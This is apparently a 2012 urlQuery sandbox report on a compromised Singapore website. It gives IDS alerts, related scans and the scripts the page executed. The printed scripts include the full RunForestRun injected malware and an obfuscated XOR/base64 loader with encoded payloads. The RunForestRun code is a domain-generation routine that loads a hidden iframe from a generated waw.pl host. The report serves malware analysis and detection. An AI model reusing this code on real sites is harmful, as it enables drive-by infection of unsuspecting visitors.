Overview

URLhttp://sdd.com.sg/
IP202.55.81.11
ASNAS18106 Viewqwest Pte Ltd
Location Singapore
Report completed2012-11-05 19:12:27 CET
StatusLoading report..
urlQuery Alerts Detected script marked as malicious


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-05 19:12:09 urlQuery Client Internal IP2ET CURRENT_EVENTS DNS Query to RunForestRun DGA Domain 16-alpha.waw.pl
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-05 19:11:51 202.55.81.11 urlQuery Client3INDICATOR-OBFUSCATION known packer routine with secondary obfuscation


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 202.55.81.11

Date Alerts / IDS URL IP
2013-01-22 16:19:120 / 3http://practical.com.sg/202.55.81.11
2012-12-31 17:51:340 / 1http://iconsult.com.sg/202.55.81.11
2012-12-05 19:03:211 / 1http://tongbee.com.sg/202.55.81.11
2012-12-05 18:58:371 / 1http://sdd.com.sg/202.55.81.11
2012-12-05 18:39:071 / 6http://centrecourt.com.sg/202.55.81.11
2012-12-05 17:24:050 / 2http://autoglym.com.sg/202.55.81.11

Last 6 reports on ASN: AS18106 Viewqwest Pte Ltd

Date Alerts / IDS URL IP
2013-02-14 13:55:000 / 1http://202.73.57.12/SmartDownload.exe202.73.57.12
2013-01-22 16:19:120 / 3http://practical.com.sg/202.55.81.11
2013-01-11 09:33:233 / 11http://flickdesign.net/202.55.81.82
2012-12-31 17:51:340 / 1http://iconsult.com.sg/202.55.81.11
2012-12-05 19:03:211 / 1http://tongbee.com.sg/202.55.81.11
2012-12-05 18:58:371 / 1http://sdd.com.sg/202.55.81.11

Last 6 reports on domain: sdd.com.sg

Date Alerts / IDS URL IP
2012-12-05 18:58:371 / 1http://sdd.com.sg/202.55.81.11
2012-12-04 03:51:051 / 2http://sdd.com.sg/202.55.81.11
2012-11-27 19:22:081 / 2http://sdd.com.sg/202.55.81.11
2012-11-16 19:11:501 / 2http://sdd.com.sg/202.55.81.11
2012-11-12 02:30:191 / 2http://sdd.com.sg/202.55.81.11
2012-11-09 03:36:491 / 2http://sdd.com.sg/202.55.81.11



JavaScript

Executed Scripts (10)


Executed Evals (3)

#1 JavaScript::Eval (size: 2042, repeated: 1) - Script marked as malicious

//Congratulations! you have successfully extracted the gootkit payload 
//this means i must work hardly :( 


function nextRandomNumber() {
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo - this.R * hi;
    if (test > 0) {
        this.seed = test;
    } else {
        this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
}

function RandomNumberGenerator(unix) {
    var d = new Date(unix * 1000);
    var s = Math.ceil(d.getHours() / 6);
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
}

function createRandomNumber(r, Min, Max) {
    return Math.round((Max - Min) * r.next() + Min);
}

function generatePseudoRandomString(unix, length, zone) {
    var rand = new RandomNumberGenerator(unix);
    var subdomainlen = Math.floor(Math.random() * 32);
    var letters = "huozfexmrufmqhgnsvkehzrfrqoplpvbuaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
    var str = '';
    for (var i = 0; i < subdomainlen; i++) {
        str += letters[Math.floor(Math.random() * (letters.length - 1))];
    }
    str += '.'
    for (var i = 0; i < length; i++) {
        str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    }

    return str + '.' + zone;
}
setTimeout(function() {
    try {
        if (typeof iframeWasCreated == "undefined") {
            iframeWasCreated = true;
            var unix = Math.round(+new Date() / 1000);
            var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
            ifrm = document.createElement("IFRAME");
            ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api");
            ifrm.style.width = "0px";
            ifrm.style.height = "0px";
            ifrm.style.visibility = "hidden";
            document.body.appendChild(ifrm);
        }
    } catch (e) {}
}, 500);

#2 JavaScript::Eval (size: 94, repeated: 1)

Unable to connect to pipe\\.\pipe\PSA_pipe {
    110D2F0F - F073 - 4021 - AB73 - C7886FB9BD1E
}

#3 JavaScript::Eval (size: 13143, repeated: 1)

function kFNNqOzsqgnbhX(f) {
    this.rwksKzE = function(a, b) {
        var c = '';
        for (var i = 0; i < b.length; i++) {
            c += String.fromCharCode(a.charCodeAt(i % a.length) ^ b.charCodeAt(i))
        }
        return c
    };
    this.getTopHost = function(h) {
        if (h.indexOf(':')) h = h.split(':')[0];
        var a = h.split('.');
        while (a.length > 2) {
            a.shift()
        }
        return a.join('.')
    };
    this.wyTFrVef = function() {
        return this["homfxrN" ["su(! ---##%#)#%@!-#%b st!r(@--!-#)".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((7 - 2), (1 - 0)) + "JiJaihTWwkvdIH" ["s$)!u! %-)-bs@@(t-@@)-r@!-%%##@!@#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 9), (2 - 1)) + "QlWoaXskBSwonu" ["s#u(b$-s(t!#$ ##--)--$!(r$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-4 + 11), (2 - 1)) + "nsbdyTSI" ["s!@u!( @@!(@-%-(-%b -%$#-(s-tr(!(@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (1 - 0)) + "LzKRbMC" ["su)#b@$s-)t%!)r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 2), (1 - 0)) + "NaMceyrQyzGbTN" ["s)$- # %@@!#)u%#b- $@# $-@s)#! tr)!@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 10), (1 - 0)) + "XXbAEfN" ["s u@@%$b ($)-st # #%$r@--%%! !#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((6 - 2), (2 - 1))](this.getTopHost(window["CMUlecZBAv" ["s$%u%@b@-#st%)%r@#@-$!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 1), (2 - 1)) + "rFRToTSeriwJL" ["sub(#()s#- %(-$#(@$!$@#@)!-))-( --t#!$-)$-$%r!%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((8 - 4), (1 - 0)) + "aplUXImcETd" ["s()%u(@#$b#s!t r# !".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-6 + 13), (2 - 1)) + "ASals" ["s%(-@$)(u$- b-s@%%! t!!!)% !)r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 3), (2 - 1)) + "EtmtmNLtAkwv" ["s%#)u#- !$($)-(#b%!(#(-)$s- t! #-#r##%#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (1 - 0)) + "ieIDU" ["s@))u % bs$#!##(@tr($$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (1 - 0)) + "RKZowxAGrPDWnO" ["s(-@@u%-(b#!(-s%@)$t-($% !-@!)-%)%!@#-@#@@#)($-r#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 0), (1 - 0)) + "RGDgsMnVOLwN" ["sub -s$ $!t)-$ -r #@#(#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((7 - 1), (2 - 1))]["hpWBgzZhiz" ["su(!b-)))s##@tr-$  -@$)!-##-() ".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((13 - 6), (1 - 0)) + "iXBNoFNGTV" ["s@! -@!$@$!)!) %@@$@u((#b(%s#t@!@r!((-".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-3 + 7), (2 - 1)) + "vpiAZvBBnsLKC" ["s@!%@#%u%-#@%(#b%@s(#t%@ #r%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-8 + 17), (2 - 1)) + "pZdonctRPzTOGe" ["s (!(#u$)b$ !$))))(@s!t$ ()(!#-#(@##r)!!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 8), (2 - 1))]), this.scShyKInD(this.smooclNCN))
    };
    this.scShyKInD = function(a) {
        var b = "";
        var c, chr2, chr3 = "";
        var d, enc2, enc3, enc4 = "";
        var i = 0;
        var e = "rtyrVrAGtu" ["s% ) !u@! %)-b#%-s#$@%( t-r@-(!- %".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((10 - 4), (1 - 0)) + "nBxsFWgoD" ["s$# %)!u%(#!)$-$%@# ()b@@(s@% tr@)!- -@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((1 - 0), (1 - 0)) + "KNgFCrohTU" ["s@%ub$ s)$@ @$ #tr%)".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 6), (1 - 0)) + "UqkzFpTCDNKfX" ["s-!u@b$s#!( - (t(r@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((15 - 7), (1 - 0)) + "OWAEARxPqNBIVr" ["s(@-@% )#ub-s%t@r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 4), (2 - 1)) + "LSsEaXLFF" ["s%$ub!)s$#! -!)%tr".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-6 + 13), (2 - 1)) + "eNkHRGesIXP" ["s%@(#u)-b@-#s-@%$ )#- !$()!@t$  @(r)$#$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((10 - 5), (2 - 1)) + "AOHxqyT" ["s ub-s@)( $ -(%#t%%()-! r%!#((!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 0), (2 - 1)) + "drIaWTHubOaqD" ["s#u#(#$b@(-#s@@!t-(r-$!)$ )%-$!(!%- @-@(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 1), (1 - 0)) + "sHVTJEQmxm" ["s#!%u%-% -) -b%$!)#@st)@$#) #@!@-@-!!)$@@#%r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 0), (1 - 0)) + "KUwpKmw" ["s$@u#$) b($(!%@ $%s!t$%((r!%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 1), (1 - 0)) + "ssrVPElLp" ["s! -)(u% b@!@( )@s)t-!r@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 9), (1 - 0)) + "PwCcNxmKLyqMgN" ["s(-!@-%@)(%# @))u@b$%-%s%)-($ %t()$)@#)((r-(#$$! ".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-8 + 19), (2 - 1)) + "fKgnsNzEilFAJl" ["s!@!%)!%$ @!#u!%-($-bs!!t-((-%--@%()%)@ ( #-#%)%)r)".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 7), (2 - 1)) + "OgnXi" ["su#b@!$-%)s@!@%@@(@(#t-)-$(r-!(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (1 - 0)) + "BdcgzcviPlzu" ["s@u$b  $%--s)t)r(!$ -@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((11 - 3), (1 - 0)) + "QuzrHUTT" ["s)-#(u @)b@$--s(t!-r$#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (2 - 1)) + "dERMrOXK" ["s)$ -@ )$()@u!!)b$@s@$t)r!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 2), (2 - 1)) + "CJKkgESgCd" ["s- )(-u%$( b)(%-!%st$!% #% #r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((11 - 5), (2 - 1)) + "TyJuITEp" ["s#@#)u%#))@@!)b- )!@ $#s)-$ %#)tr".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((10 - 5), (2 - 1)) + "fRHxFUQl" ["s-()$(@#$-)-%!)-!((- !%u-)!b)()-s@@)$)@t#%!r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 0), (2 - 1)) + "LQsPtWcVVGE" ["s(@()!$@ub-- )#s( )tr#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((10 - 3), (1 - 0)) + "CxEfeZWUm" ["su%%-$@b-)s%)t!#)(##!r($@%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((7 - 1), (1 - 0)) + "hXhSRFyvEF" ["s(%u%! ($b@@()$%@%  )-$s)$(@!(@t#!(%   @r%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (1 - 0)) + "TFmYl" ["s@(u )@-))@@$$#b@$)-@%s!-t$#)r-$#($@#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 2), (2 - 1)) + "oZTHsJfHXVfF" ["s-%) #%!-@ #u (b-##$(! %@)($%%s)$@$(t#((r)(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (2 - 1)) + "iOruaEb" ["s u(%) b@%%($!@%s%(t-(%()(-@ -(r-)@!% ".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 5), (1 - 0)) + "ZDyrbo" ["sub $)str) !-".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-3 + 7), (2 - 1)) + "RluZwcwDcvgRNA" ["s@  -!-ub@%%(@(#!( !#-)#)-#$ @  s)##$((t $#r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((9 - 4), (1 - 0)) + "FUbCkLQVFdbO" ["s!)!%@#(ub@#$-$!-s$(!t % r@%$(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-5 + 14), (2 - 1)) + "qQWqwXeTLzbHRR" ["s@% @# %u$(!$bs%( @ @ %$%@t!# #%)r(#$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-3 + 9), (1 - 0)) + "lfRULk" ["s@(!-$@u#%% )-)%$  ! b%$#@s-%%@% t%))! )$r #!)".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (2 - 1)) + "igQwn" ["s!%!u#@!))%(@(@$%%((-!b(@ str-".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (2 - 1)) + "fhpPJ" ["s)!ubs#-%!!#(-@) !t)-##-r)$( !".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (2 - 1)) + "fnizTiJXCzK" ["s)$   ) %!#)!$-! ##@$!!-#u%)  )!---(@-%b-!!s@t@) ($@@!!(-%%#%r#!(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 1), (1 - 0)) + "hETdQjd" ["s$ !(()# -u@$%b %s$!t !$r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((10 - 5), (2 - 1)) + "bskFMa" ["s@!)u@!@(bs! @$#t$  (#($!%r@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 3), (1 - 0)) + "krTlEtGQkhK" ["s(--u(b#-s$!-%@#@t )$r!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-1 + 4), (2 - 1)) + "PmWDMsXbEKux" ["su@(bs@t)#)r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((1 - 0), (2 - 1)) + "quPnAd" ["su#()%#b#st r$$(-$%-# %#$#%!@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 0), (1 - 0)) + "qokZLoXTCypBk" ["sub %s$%-$#)%$-!-)(-t$ r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((1 - 0), (1 - 0)) + "FsopQAtpsnSCBO" ["s#)(u$)@$bs)###@@-tr(".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 5), (2 - 1)) + "yAsqaB" ["su# @#($-#bs--)!@$  !t#r@%$%@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 2), (1 - 0)) + "krwSE" ["s(!)#$-(@(% % u@ @# b@@-s#tr".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((1 - 0), (1 - 0)) + "DssXfVuW" ["s-!u@()b!#!#$%s$t#($r@%%(@%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((1 - 0), (1 - 0)) + "IZhQAeQtIbxfw" ["s$#$)(%$)(!u%b$s@@ @)t! !)-@#%r-%# #".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-2 + 9), (1 - 0)) + "uqdRLwWIQ" ["s@%@-)@(@()#u#bs%tr)-- ".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (1 - 0)) + "MSVrvrnGFFcsW" ["s@u@$%-b%%s@$  $ (#!(%#@$@(%%%t!@r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((6 - 2), (2 - 1)) + "sJCwPKgtsKoT" ["s#!u(% $)(-bs$%!)@@@($tr)- )".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 2), (1 - 0)) + "xfGeuJF" ["s%ub$-@@%s! #t%r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (2 - 1)) + "chmgyiUD" ["s@@%()((-#(u@@b## s$(!t@r@#)".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((7 - 3), (2 - 1)) + "tKznruF" ["s)u#% b)))$ -@@@#-%st#)r%)@#@$)#!!!@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 1), (2 - 1)) + "SWaIqqNNNi0rsc" ["su@b)(@#(s!()t@r%$-)((#%()@%!".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((13 - 3), (1 - 0)) + "KsHn1xwJED" ["s#u-%-b%$@% s)t% -@ @@(@%!r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((7 - 3), (1 - 0)) + "UfcrDhTV2b" ["su$%))(($)#(@$b@%-%!s(%-() $(#-%%@-% t(#r)!% %!($ )-%#@%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-6 + 14), (2 - 1)) + "3yAzqT" ["s%)() %@)@u((%$) )$@!(@!b%$str(!#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (2 - 1)) + "qOtHbc4ffIXAAO" ["s) %$))($@!!-%@u%b! s-# %!)) - %t%-$() )#$-#(%# !  %r".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((-3 + 9), (1 - 0)) + "Q5cpBU" ["su (# )) %$)%$%%@b-((st-r%#$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((2 - 1), (2 - 1)) + "6qiitU" ["s#%ub#(($)$)s@#!#%#))tr%".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((0 - 0), (1 - 0)) + "nJfdZLw7Lqc" ["s@ (u@!-$( $) -!@@- !#% # b$-%s!-$-$##%()@$%$@t%-$%#(r#".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((12 - 5), (1 - 0)) + "ofe8meqFfQ" ["s (u-)$ #b)s@#%##)@@$) t@#@!))r$!- (@# )".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 0), (2 - 1)) + "zAd9W" ["s!-u##@ b(#$! !!str".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 1), (1 - 0)) + "KhZW+w" ["s%u!%%b%%@ !%%)@##)st%)%r)-%@".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((5 - 1), (1 - 0)) + "urCc/NFx" ["s!ub%@-(-$)  s#( t  -$r$".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((4 - 0), (1 - 0)) + "DD=bJIW" ["su(!@ @@ #-#- b@)!s% $(#%#t !)r!!)!$@-".replace(/[^A-Za-z0-9\+\/\=]/g, "")]((3 - 1), (2 - 1));
        a = a.replace(/[^A-Za-z0-9\+\/\=]/g, "");
        do {
            d = e.indexOf(a.charAt(i++));
            enc2 = e.indexOf(a.charAt(i++));
            enc3 = e.indexOf(a.charAt(i++));
            enc4 = e.indexOf(a.charAt(i++));
            c = (d << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;
            b = b + String.fromCharCode(c);
            if (enc3 != 64) {
                b = b + String.fromCharCode(chr2)
            }
            if (enc4 != 64) {
                b = b + String.fromCharCode(chr3)
            }
            c = chr2 = chr3 = "";
            d = enc2 = enc3 = enc4 = ""
        } while (i < a.length);
        return b
    };
    this.smooclNCN = f
}
var ZlSkdrSHTdScpX = new kFNNqOzsqgnbhX("N$g)E%MTB8@CQ!xs!C)Dh$A!IDQEITQ@d-HFwB!N X$hoXBk8x@cl$07E(wYdS y83MC4@yXho@X!Bk8WH0 J-X-J10rH@jVKJ#V9a)HV5TU11cAz Il@V@F!xAbU#RfW%1krbEo!l-J$1$4o-U!3-lta!WV(nJHltaWVnJ@A=!=");
var VAiIWTyAflAyrM = new kFNNqOzsqgnbhX("T(EA-uQ%R0#A!E)Q-4@ZWx8GF wY#C$Q(ABGQ%x(YCW#1MPAhk!ID@gA%S AAwI%X#Q(ABFgMBV%1(MCG)xsfT@xA$TB gtNWhsCQ!wgCQQc@MChtNX%h#I e@Dw$AMS-lN-tTEAZRh oUQwII-T(x0#U)QwZNQwYU)F!08!a#QQE M%Q w!cMXB cLG#k!9X BlN@tB!RoDTQc!OD(AF-NQ#BY!fFz0MQB cIDiEY)QxE-CE-UdEV!XlH@Q09%NWB(IVQwcEDk5H!Fw-cE!XV#0UBgo%JD lxHF)w)c$E-X%V$0#2W-GVN-DlNHF)Q4-fDh%8IQ1@J@N!Whs(O-E-E-Ee%Sx!Y$DQ!0pN#WhsO EE-E#8FX lH(Q09NWBI%VQ$x sI-XQ dHXk8-Z!Rh%o@U$TS5!N%BFML$DE9A#D gcP-C@hxD(fFNN%Q#w-cEF-X$lHQ 0(9NR)x%V$P(Fw)oeWlN ZQ1@9EVXl(HQ!09#N-DlN#HQxsFRwBJ E(A)o)I@S!lNa Q$x%s-I-XQd!c)aU9!N%D$lMaQwoBXR%ZHGGV#N)DlNHQ)09(NDg!cPChxDX-RYC#B09#Q%D(g)cCEB@tNB)VM@TC#wY(eAD%5 c-aU 9ND(lM(aa-U9#ND!l(MV!Bh(s@Y-XB1HSx@sFRw%BJ EAo#I%SlN@N)Qx!sF RwB-J$DA#EIY)Q$UCESJ)E$FX(k$aa#Q!k$Y$QBATCgA@DDi(EG(DQ)s$CQz0SDg0-I-X)DQ!CD#QofTwc!I$EU%cY!Q Bo@fS)hR!n-D-lNHQxkM#XFMD!Q)1J$NQB!YQ!Q$ys MWhZPF@gEEVll#W#U!19dB0h(t$Q0$9N!DgU$GEU 8eD@k5@HL%g4Z#Rl-0E$Bg-Y$B BhdJB#AoZZ(hw$S-E!RxF$B%1(xR S)lR#nDl%N#HQx-sF RwB!J E(AoI(S%lNaQ@11-e G kZRVFdUH#kJHS(E9(FS(l$0A$Bhsg QR0TC0d$E-D%l#lHU(xc r@aDUh(J#Sl%E Dl@hH$S-wt%D!SRY TJw4Z)S1tOQ$0VN!H#g shJ)SkrB#1h(H-SyI$MWh$tJE Q AYQ@B)d@P EE)9)HDk$MfJSk!rB(1pc a$U9N@D@l%MTC!w@YeA(DJ$HX(k(9Z$F)kFQ%UlR%nD$lN-H(Qx#sFR$w(B-J(L-k!9)Q@Dk!FW$V)1hZ#Fk@B%R$V#1h!W$JFNHQ0 8ZR$ho#UTT%5$N@E1-M)TCwYeAD5HTE)8ZR-h%o(U#T#S5W!JFNHQ-08Z(RhoUT@T1%NE)1!MT-CwYeA$D@5H@R k8ZRho#UTS5WJ%F)NHQ0@8%ZR-h$o(UTQAD#S#zwRBh0gD)k5 H%UkF@dD#l#xHFwc@EXV%0)qWG VNDlNH$F wcE#XV0JBhc%ZD-k)5 HDQo V!WiEG-DQ!s%CQ-z0S%D%g0!IX$Eht Q-0@9#NDgE)C%FxofQFMTCw!YeFXkaa!Qk@YQB@ATCg%A$DDh!AVBg)4Z@Sy$E)GD-QsCQz 0SDg!0IXFsVT0$8g(Rx1@LQyI MV@lo@c@aU#9ND#lMVBhs-YXB1HL!g4Z(Rl0VDBoD-Sl%tP)Lg@4VAz4ODUZNB%FM)VTQ@EIV-gdPS#k9%GDj 4%O$D%UZ$WJA5tBRoDT%Q@cOD)AF$NS!R(YJ%Bh0$MWhY3E A-oYS@hw$1AgEJQR)40F@x0E@QBRPF%gE@EV#l9 H#D#woDSQ c-PT0@8!XQR0CS$h-R!nDl(NH)Q%x@kM@XFM-VA%gE%JDk5HDQ!o-a!D)iE)G#D-Q$sCQz!0#S$Dg0I)XDQC!D(Q!o!f T)wc%I!EUcYQ B(o#fSlR nJw!UGE)U%8e!Wx EDDAI$M Rx0LBgFNE1@Mq(A-hs@F)A$BU#LDAA@fB@j4GF-wd-D X BIJBwA%AB#l#pHSU9eHF-pc%aU9N%D#l)M#R)Ah(1NQh@YTFwofXVNa Q0!0F(W xwd(BQoV@QwESB)Q-I)cR)h(QJEB-kG#S(xsdEQkfXxwXD(x8 bT(AY%GGw@A#cSw)EO$Eh-gGSRUMBxYI(QAkIEB!wcQ#g%s%B@E%g$4UW#A-MV$Q-U#EeX%h8OF%0dKC$Vp-c%a)U9N(D#lM)RA$h-1$NX%Q%cV$Q1JNCVRc!a-U9NDl$M!BDB#1%FWB%I-V%Qw)ZNE-1)NX@WE8#ED!k9%HE!BoPS!hwKAgYD)QhYJWE#8EDlhM(Q0)Y%WJ!F@NHQ09NDl%NH@E-Bs$fD%l#h aQwM$I#WgcC ER-w2@YxI%T$C$0ELQh w$I$EUc%gTwcPT%R@0 MQ#BcIDkd$EDl)lHS#w%MI!Wg@c%CER(xDQ)hYJ(BB%s$FDl5@HUk#ZE(c0h#tQ09NDg5t#ahwZXF NM Xk9KAF$Rta!gkCXFs R)Ah 1N R1Na$Q1(9WDh!pHX(08BSx0-AFwdWD h)p#HSERN$B#wh#tQ0-9-ND!lNHQ!0!8-eWgF$H%SFJ$NQ!hYT FwofXSgE#EQ oM WhY%1@AgE)JQR-4)pF$g)IP-SwF PE%Q4%DSl%9%HU0NNQh YT%FwofXV0LB)gEKWh(t#H)Tk9cBy5c%aU9$NDlM(a!a#WZnD%lNHQx0(IWg$YV$DU8eWgFH-SE%9(KAF)R%H S@E$8 X#QR0$C)WGUQ@J A(AC(F!zsEQx(Y)I%FhtF!SAY J$A%B$sEQR1P)S!h)RnD%l#NH Q)x-sf$V(w htQ09NDlN$HQ 08E#SFs)TGh(8IQRVHC$g(k$f)Tx)4C)NA4ebQE%CAh)s%ISlN)a#Xk9PWx0DBgk EQ)B$YDQUYW@JFNHQ09N@DlNHQ0)9@NDho$B!E!Q4#AS(yQ G!EC(wf!Sx)I T%B gtN)E)1MTE!Ro!IFX(l-H(Q09NDl!NHQ 0 9N!Dl@MRAh1%NW%x-0O!G0@9@QD!j 4 GFwdD@X(B$w%SD Q!t FB)R0C(FE8p%TwcCS0ZCH$0N!XU0ZW J$F)N(HQ09!N)D!lN%HQ09%N$D)gUGE%U8)JQ#R4)G(C g!EjT!x4C#Q1JNSR@YJ-B(h0@M!WhY3EAoYShw1AgEJ(QR40@F(x!0E(Q!B)RP!F(gEE@Vl9HUllB%Dl!QQA#hhD!Xh9)A%S-lRnDl!NH#Q0$9@N)Dl-N-HQ0-9N(R-xUV)Dk 9Q%Dh!cI-ABo)A$S#x)0!T$T!Q(w%fSxIT%BioBSx4C$DR@t(FDDohMS%4g#a1FOWG$VN!DlNHQ09N$Dl(NHQ08E@S%AEK-TR#wIWjITFx0ETA!YT@B k-dP%X#QEEQUNN-DBsT@Fx-9 X)AV)xF!S(AsC#QxI OD SEMQ-x%ZMQ(UA#fWx0!BD@B0I$X@Q(cVFg FSX)RoD(X@g0CW@h0CFzAM-Xhp@FS!l$Rn$DlN$H Q09N DlNHQ@09NR#xUVDkE-eW#go%L#BkE aR@xc@TC0#9QDlF(XE(xdPFXl%H$Q09 NDlNHQ0#9N-D-lMO-B!R-0A%A-A#ATGgMIAB sCCg!gF@WlNaQ01dX!g(tF!WGVN)Dl-NH Q09N!D(l@NH-Q0-8ESAEKTRwZVx(8C#T!R@k#E(X$R$o@F!Cg%MEWgp-H@X!k@9)PR-h oDBw#oDDEh$tQ(0-9@N-D(lN@H Q 0@9ND)lNH BwAO W#x%4 CD@RtDT@B(wD G%k%EM$XgMC%D$Q)suRh)oLB0cE%SAEKSlR!nDl NH!Q09N D%l#M aaU9NDlMa%AA)4#ZT#R$t!P#B)k@YWU 3kaT-09-Y$HkN-O%WG@U=");
if (typeof _typeof_ != "undefined") {
    ZlSkdrSHTdScpX.wyTFrVef()
} else {
    eval(VAiIWTyAflAyrM.wyTFrVef());
    eval(ZlSkdrSHTdScpX.wyTFrVef())
};

Executed Writes (3)

#1 JavaScript::Write (size: 199, repeated: 1)

<li>Create a Web site using <b><a href="http://www.parallels.com/sitebuilder" target="_blank">Parallels Plesk Sitebuilder</a></b> wizard, if this service is available from your hosting provider.</li>

#2 JavaScript::Write (size: 120, repeated: 1)

<script language="javascript" type="text/javascript" src="http://sdd.com.sg:8880/javascript/newsfeeds.js.php"></script>

#3 JavaScript::Write (size: 122, repeated: 1)

<script language="javascript" type="text/javascript" src="http://sdd.com.sg:8880/javascript/promo-flags.js.php"></script>


HTTP Transactions (15)


Request Response
GET / HTTP/1.1

Host: sdd.com.sg

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Date: Mon, 05 Nov 2012 18:11:54 GMT
